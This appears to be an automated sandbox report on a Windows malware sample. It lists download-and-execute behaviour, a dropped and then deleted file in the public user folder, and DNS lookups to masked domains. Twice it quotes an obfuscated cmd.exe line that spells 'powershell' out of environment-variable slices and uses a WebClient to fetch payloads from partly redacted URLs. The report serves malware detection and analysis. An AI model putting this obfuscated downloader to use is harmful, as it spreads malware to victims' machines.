Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Afghani46='Research40';$internetsolution28=new-object Net.WebClient;$collaboration90='http://re#####herstrading.com/0ccRGilOI@http://www....
Modifies file system
Creates the following files
- C:\users\public\639.exe
Deletes the following files
- C:\users\public\639.exe
Network activity
UDP
- DNS ASK re#####herstrading.com
- DNS ASK so##ftp.com
- DNS ASK et###izthai.com
- DNS ASK cu###useli.com
- DNS ASK wp.###elooknung.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Afghani46='Research40';$internetsolution28=new-object Net.WebClient;$collaboration90='http://re#####herstrading.com/0ccRGilOI@http://www....' (with hidden window)
